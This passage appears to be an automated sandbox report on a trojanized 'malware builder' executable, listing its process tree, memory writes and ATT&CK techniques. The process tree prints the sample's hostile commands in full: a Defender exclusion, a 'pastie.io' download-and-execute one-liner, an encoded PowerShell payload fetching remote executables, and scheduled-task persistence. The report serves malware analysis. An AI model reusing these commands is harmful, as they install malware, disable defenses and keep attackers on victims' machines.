PID 1164 wrote to memory of 628	1164	Stub.exe	90
PID 1164 wrote to memory of 4212	1164	Stub.exe	91
PID 1164 wrote to memory of 4212	1164	Stub.exe	91
PID 2348 wrote to memory of 2320	2348	cmd.exe	96
PID 2348 wrote to memory of 2320	2348	cmd.exe	96
PID 1076 wrote to memory of 608	1076	dllhost.exe	5
PID 1076 wrote to memory of 660	1076	dllhost.exe	7
PID 1076 wrote to memory of 944	1076	dllhost.exe	12
PID 1076 wrote to memory of 1016	1076	dllhost.exe	13
PID 1076 wrote to memory of 388	1076	dllhost.exe	14
PID 1076 wrote to memory of 524	1076	dllhost.exe	16
PID 1076 wrote to memory of 1120	1076	dllhost.exe	17
PID 1076 wrote to memory of 1140	1076	dllhost.exe	18
PID 1076 wrote to memory of 1148	1076	dllhost.exe	19
PID 1076 wrote to memory of 1156	1076	dllhost.exe	20
PID 1076 wrote to memory of 1236	1076	dllhost.exe	21
PID 1076 wrote to memory of 1304	1076	dllhost.exe	22
PID 1076 wrote to memory of 1320	1076	dllhost.exe	23
PID 1076 wrote to memory of 1436	1076	dllhost.exe	24
PID 1076 wrote to memory of 1452	1076	dllhost.exe	25
PID 1076 wrote to memory of 1496	1076	dllhost.exe	26
PID 1076 wrote to memory of 1508	1076	dllhost.exe	27
PID 1076 wrote to memory of 1652	1076	dllhost.exe	28
PID 1076 wrote to memory of 1696	1076	dllhost.exe	29
PID 1076 wrote to memory of 1732	1076	dllhost.exe	30
PID 1076 wrote to memory of 1776	1076	dllhost.exe	31
PID 1076 wrote to memory of 1808	1076	dllhost.exe	32
PID 1076 wrote to memory of 1904	1076	dllhost.exe	33
PID 1076 wrote to memory of 1916	1076	dllhost.exe	34
PID 1076 wrote to memory of 1956	1076	dllhost.exe	35
PID 1076 wrote to memory of 2040	1076	dllhost.exe	36
PID 1076 wrote to memory of 1816	1076	dllhost.exe	37
PID 1076 wrote to memory of 2204	1076	dllhost.exe	39
PID 1076 wrote to memory of 2216	1076	dllhost.exe	40
PID 1076 wrote to memory of 2252	1076	dllhost.exe	41
PID 1076 wrote to memory of 2476	1076	dllhost.exe	42
PID 1076 wrote to memory of 2500	1076	dllhost.exe	43
PID 1076 wrote to memory of 2508	1076	dllhost.exe	44
PID 1076 wrote to memory of 2520	1076	dllhost.exe	45
PID 1076 wrote to memory of 2620	1076	dllhost.exe	46
PID 1076 wrote to memory of 2660	1076	dllhost.exe	47
PID 1076 wrote to memory of 2668	1076	dllhost.exe	48
PID 1076 wrote to memory of 2884	1076	dllhost.exe	50
PID 1076 wrote to memory of 2896	1076	dllhost.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2f0406b9-c2de-4ac5-bc6a-fc49d030daa5}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1076

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1120
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1452
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2040

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2520

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2668

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3428

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3524
- C:\Users\Admin\AppData\Local\Temp\H-MalwareBuilderV5.exe
  "C:\Users\Admin\AppData\Local\Temp\H-MalwareBuilderV5.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3396
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2348
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2924
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "irm pastie.io/raw/fgaazw | iex"
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAGYAYQBsAHMAZQAsACAAIgBhAGQAbQBpAG4AcgB1AG4AIgA6ACAAZgBhAGwAcwBlAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsAJAByAGEAbgBkAG8AbQBTAHQAcgBpAG4AZwAgAD0AIAAiAGEAbQBkAHIAMQBpAHkAbAB0AFQAIgA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBXAEQAKQAgAHsAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AIAA9ACAAJAB0AHIAdQBlADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBuAGkAbgBoAHAAbgAxADMAMwA3AC8ARABpAHMAYQBiAGwAZQAtAFcAaQBuAGQAbwB3AHMALQBEAGUAZgBlAG4AZABlAHIALwBtAGEAaQBuAC8AcwBvAHUAcgBjAGUALgBiAGEAdAAnACwAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AOwBpAGYAIAAoACQAcwBlAHQAdABpAG4AZwBzAC4AYQBkAG0AaQBuAHIAdQBuACkAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAE0AYQBsAHcAYQByAGUAVABlAGEAbQAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC8AcgBhAHcALwBtAGEAaQBuAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAJABvAHUAdABwAHUAdABQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXAAnACAAKwAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdQByAGwALAAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AZQBsAHMAZQAgAHsAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8ATQBhAGwAdwBhAHIAZQBUAGUAYQBtAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALwByAGEAdwAvAG0AYQBpAG4ALwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdABwAHUAdABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdABwAHUAdABQAGEAdABoADsAfQA=
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5260
  - - C:\Windows\SYSTEM32\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:628
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3476
  - - C:\Windows\SYSTEM32\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4212
- - C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
    "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
    3⤵
    - Executes dropped EXE
    PID:3560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3656

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3856

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4012

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:5116

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3340

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2688

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3928

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2136

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:2304

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe e22fae938f1cef8aa131ae643b143977 2wKErJmgIEeiQ54UHt3vUQ.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:5672
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:5680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5804

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:5992

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:5080

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2964

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery